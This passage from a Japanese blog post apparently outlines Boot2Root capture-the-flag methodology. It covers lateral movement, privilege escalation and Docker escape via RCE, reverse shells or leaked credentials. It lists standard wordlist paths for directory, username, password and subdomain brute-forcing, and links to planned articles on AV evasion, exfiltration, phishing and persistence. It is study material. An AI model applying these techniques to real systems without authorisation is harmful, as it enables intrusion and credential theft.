    • 複数端末の問題もあり、その場合は侵害した端末から、さらに別の端末へアクセスをしたりする
  • 権限昇格, Priviledge Escalation, 垂直移動
    • root権限を取ること
    • 獲得したroot権限がdocker内のインスタンスでのroot権限だったりする。より上級の問題ではそこから、dockerをホストしている端末に対して権限昇格が必要だったりする
      • この動きを権限昇格と言ってしまっていいかわからないが、上位の権限を得ていることには変わりない気がする
      • だが、この手の移動はどちらかというとEscapingとかJailbreakみたいな言い方のほうが多い

移動方法については、基本的には以下の2通りのルートを使う。

  • とあるユーザー(例えばrootユーザー)の権限で動かしているプログラムに何とかしてRCEさせることで、そのユーザーの権限で特定プログラムを動かす
    • 特定プログラムと書いたが、1例として書くとリバースシェルを動かすことができれば、そのユーザーの権限で任意のコードを実行することができ、移動が完了する
  • とあるユーザーの認証情報が何らかの理由で漏洩し、ログインが可能になる
    • 認証情報がハードコーディングされていたりして、認証情報が漏れてしまう場合がある

『辞書』について

所感だがスキャンや辞書攻撃で使う辞書については、暗黙の了解というか結構みんな使っている辞書がある。
自分が使っている辞書について以下に書いておく。
以下の辞書を使っておけば大丈夫という訳ではないが、参考にしてほしい。

  • ディレクトリスキャン用辞書
    • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    • /usr/share/dirb/wordlists/big.txt
    • /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
  • ユーザー名スキャン用辞書
    • /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
  • パスワードクラック用辞書
    • rockyou.txt
  • サブドメイン探索用辞書
    • /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
  • パラメータ探索用辞書
    • /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt
  • たまにアドホックな辞書もある
    • サービスをもとに使える辞書を持ってきて使う
    • 規則性がある場合はそれをもとに作ったり、webサイトからキーワードを拾ってきて辞書にしたりすることもある

まとめ

まとめ…の前に

細かくまとめを書いていくが、サービスは無限にあって網羅性はあきらめている。
とりあえず手元にあるものを適当な粒度でまとめておいている感じなので、もっとたくさんまとめられている以下のようなサイトを参考にするか、
適当に[keyword] pentestとかで適宜検索しながら頑張るのがいい。

まとめ [WIP]

  • Boot2Rootにおけるスキャニングまとめ
  • Boot2RootにおけるActive Directory/Kerberos認証/LDAPまとめ
  • Boot2Rootにおける脆弱性調査まとめ
  • Boot2RootにおけるCMSまとめ
  • Boot2RootにおけるDocker/VMまとめ
  • Boot2RootにおけるCredentialsまとめ
  • Boot2Rootにおけるログイン総当たり
  • Boot2Rootにおける辞書攻撃まとめ
  • Boot2Rootにおけるアンチウイルス回避まとめ
  • Boot2RootにおけるExfiltrationまとめ
  • Boot2Rootにおけるポートスキャンとポート毎攻撃まとめ
  • Boot2RootにおけるLinux関連まとめ
  • Boot2Rootにおけるmetasploitまとめ
  • Boot2RootにおけるWindows関連まとめ [mimikatz]
  • Boot2RootにおけるPhishing関連まとめ
  • Boot2RootにおけるLateral Movementまとめ
  • Boot2RootにおけるPersistent/PostExploitまとめ
  • Boot2Rootにおけるリバースシェルまとめ
  • Boot2RootにおけるTunnelingまとめ

これに加えてCTFの各ジャンルで要求されることも頭に入れておく必要がある。
beginnerレベルにはどれも学習していますが、いつか全部かけるくらい極めたいですね…